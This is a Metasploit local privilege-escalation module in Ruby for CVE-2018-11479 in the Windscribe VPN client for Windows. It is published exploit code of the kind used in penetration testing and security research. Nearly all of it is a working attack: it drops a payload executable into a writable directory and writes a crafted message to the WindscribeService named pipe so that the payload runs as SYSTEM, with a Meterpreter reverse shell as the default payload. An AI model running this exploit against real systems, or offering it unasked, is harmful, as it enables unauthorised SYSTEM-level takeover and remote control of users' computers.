##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Windscribe WindscribeService Named Pipe Privilege Escalation',
'Description' => %q{
The Windscribe VPN client application for Windows makes use of a
Windows service `WindscribeService.exe` which exposes a named pipe
`\\.\pipe\WindscribeService` allowing execution of programs with
elevated privileges.
Windscribe versions prior to 1.82 do not validate user-supplied
program names, allowing execution of arbitrary commands as SYSTEM.
This module has been tested successfully on Windscribe versions
1.80 and 1.81 on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Emin Ghuliev', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2018-11479'],
['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'],
['URL', 'https://pastebin.com/eLG3dpYK']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2018-05-24',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_advanced_options [
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
]
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning 'Unable to enumerate Windows services'
return false
end
if srv_info && srv_info[:display].empty?
return false
end
true
end
def write_named_pipe(pipe, command)
kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
kt << "\x00\x00\x00\x00"
kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*')
kt << "\x00" * (32_005 - kt.length)
print_status "Sending #{command} to #{pipe} ..."
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = r['return']
if handle == 0xffffffff # INVALID_HANDLE_VALUE
print_error "Invalid handle. #{pipe} named pipe not found, or already opened"
return false
end
vprint_good("Opended #{pipe}! Proceeding ...")
begin
w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil)
if w['return'] == false
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
rescue
false
end
def check
service = 'WindscribeService'
unless service_exists? service
return CheckCode::Safe("Service '#{service}' does not exist")
end
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_system?
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..."
write_file payload_path, payload_exe
register_file_for_cleanup payload_path
unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path)
fail_with Failure::Unknown, 'Failed to write to pipe'
end
end
end
